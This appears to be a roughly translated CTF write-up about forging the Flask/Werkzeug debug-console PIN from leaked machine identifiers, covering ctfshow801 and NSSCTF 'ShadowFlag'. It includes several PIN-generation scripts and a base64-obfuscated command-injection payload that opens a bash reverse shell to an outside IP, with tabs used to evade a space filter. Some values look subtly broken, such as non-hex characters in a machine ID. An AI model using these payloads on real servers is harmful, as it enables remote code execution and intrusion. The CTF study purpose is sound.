Flask debug mode counts pin code_Ys3ter's blog-CSDN blog_flask pin code
You can refer to this link
ctfshow801
Then this picture is very important
That is, we need the above factors, and then get the ping code, which is the password of the console, and then we can output the command by ourselves
Then there will be two scripts, one is 3.6 encrypted by md5, and the other is 3.8 encrypted by sha1
#MD5 import hashlib from itertools import chain probably_public_bits = [ 'flaskweb'# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
#sha1 import hashlib from itertools import chain probably_public_bits = [ 'root'# /etc/passwd 'flask.app',# Defaults 'Flask',# Defaults '/usr/local/lib/python3.8/site-packages/flask/app.py' # Get an error ] private_bits = [ '2485377585864',# /sys/class/net/eth0/address hexadecimal to decimal #machine_id is merged by three (docker is the last two): 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 'ab5474dd-e22b-45df-8316-7ad4e11f978ae78714841cdc523ece942e68660c9777ad13a358f5ea71a8e1d1424efe9a8400'# /proc/self/cgroup ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
Start doing questions:
I saw the absolute address, and python3.8 so use the following script to calculate the ping code
Get it step by step
/etc/passwd get username
Then just follow the acquisition, pay attention to the machine id here
needs to be spliced
The latter are the same here, so you don’t have to think too much, just pick one at random, and then set the script
To convert decimal, use Google's console
Import the os module, where \n is a newline, almost thought the flag file was nflag haha
ShadowFlag
Open the interface is the source code,
from flask import Flask, request import os from time import sleep app = Flask(__name__) flag1 = open("/tmp/flag1.txt", "r") #open a file with open("/tmp/flag2.txt", "r") as f: flag2 = f.read() #flag2 should be the value of flag1.txt tag = False @app.route("/") #routing def index(): with open("app.py", "r+") as f://Read the value of app.py, so we can see the return below the source code return f.read() @app.route("/shell", methods=['POST'])#/shell routing post parameter passing def shell(): global tag #tag global variable if tag != True: #tag is false to enter global flag1 #flag1 is a global variable del flag1 #delete flag1 tag = True #assignment os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")#Command to delete two files action = request.form["act"] #Get post parameter if action.find(" ") != -1: # no spaces return "Nonono" else: os.system(action) #There will be command execution here, it should be available, after all act is controllable return "Wow" @app.errorhandler(404) def error_date(error): sleep(5) return "Sweep, sweep, what is the Oriental Pearl?[angry]" if __name__ == "__main__": app.run()
So now our idea is to pass parameters in post and execute it
According to the code, I know: two flag files, I feel that the flag is divided into two sections, and then a section of flag1 is deleted, and flag2 still exists
act=echo%09YmFzaCAtaSAmPiAvZGV2L3RjcC8xMTAuNDAuMTkzLjIwMi85OTk5IDA%2bJjE=|base64%09-d|bash
In fact, this is a direct access to the console. This step has not been thought of at all, and others have guessed it directly.
Get through and find that ctf is the username
Then convert to decimal 2485376947610
a4473a34-a602-43b3-bd38-c11e15f45ae7
42f44ee9fdafb6557e4b39ff62e0aa5df78925533340fa7c067roaeff31dd90665
and then splice
Check the conditions and found that there is still an absolute address missing
All processes will be opened, which will also be included here. The general process number of the file opened but not closed normally, and then directly deleted is 15-18
Found the process where flag1.txt was deleted, so we
is the third of them and then reads
Then this error page, as long as we are not the act of passing parameters, there will be an error, and then we get the absolute address
#sha1 import hashlib from itertools import chain probably_public_bits = [ 'ctf',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '2485376947675',# str(uuid.getnode()), /sys/class/net/ens33/address 'e0ad2d31-1d21-4f57-b1c5-4a9036fbf23516921067cd405eaa654013ea6a0ba8784e311ba26d783724d39843827fce654f'# get_machine_id(), /etc/machine-id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num print(rv)
get pin code
Because the flag2 in the source code has not been deleted, it can be directly output
Explain why in the process:
flag1 = open("/tmp/flag1.txt", "r") #open file
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read() #flag2 should be the value of flag1.txt
tag = False
flag1.txt is only opened and not closed, and flag2.txt will be closed normally, so it will not appear in the process
Reference link: GitHub - Randark-JMT/NSSCTF-Round_v7-ShadowFlag: A reverse challenge in NSSCTF Round#7